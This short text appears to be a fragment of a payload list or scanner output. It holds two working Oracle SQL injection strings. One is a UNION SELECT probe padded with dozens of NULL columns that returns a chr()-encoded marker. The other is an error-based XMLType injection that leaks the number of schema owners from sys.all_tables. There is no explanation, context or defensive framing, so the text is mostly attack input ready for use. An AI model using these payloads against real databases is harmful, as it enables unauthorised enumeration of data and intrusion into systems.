s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(57)||chr(53)||chr(53)||chr(51)||chr(57) from dual--

s or 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||rawtohex(cast(((select count(distinct(owner)) from sys.all_tables)) as varchar(256)))||chr(58)||chr(45)||chr(45)||chr(62))) from dual)